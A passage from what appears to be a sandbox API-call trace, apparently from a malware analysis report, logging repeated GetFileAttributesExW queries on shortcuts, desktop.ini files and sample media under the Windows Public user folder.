chrome.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c41ac0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9c41ac0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9c41ac0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x8d1)) returned 1 [0130.062] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33664430, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3368a590, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3368a590, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x485)) returned 1 [0130.062] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33664430, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3368a590, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3368a590, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x485)) returned 1 [0130.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116)) returned 1 [0130.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116)) returned 1 [0130.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1 [0130.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1 [0130.074] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58)) returned 1 [0130.075] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58)) returned 1 [0130.075] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c)) returned 1 [0130.075] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c)) returned 1 [0130.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c)) returned 1 [0130.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c)) returned 1 [0130.082] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a)) returned 1 [0130.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a)) returned 1 [0130.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1)) returned 1 [0130.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1)) returned 1 [0130.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2)) returned 1 [0130.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2)) returned 1 [0130.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459)) returned 1 [0130.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459)) returned 1 [0130.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c)) returned 1 [0130.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c)) returned 1 [0130.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22)) returned 1 [0130.091] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22)) returned 1 [0130.092] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875)) returned 1 [0130.092] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875)) returned 1 [0130.092] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460)) returned 1 [0130.093] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460)) returned 1 [0130.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554)) returned 1 [0130.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554)) returned 1 [0130.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616)) returned 1 [0130.096] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616)) returned 1 [0130.096] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f)) returned 1 [0130.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f)) returned 1 [0130.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c)) returned 1 [0130.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c)) returned 1 [0130.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b)) returned 1 [0130.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b)) returned 1 [0130.099] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958)) returned 1 [0130.099] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958)) returned 1 [0130.100] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1 [0130.100] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1 [0130.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, 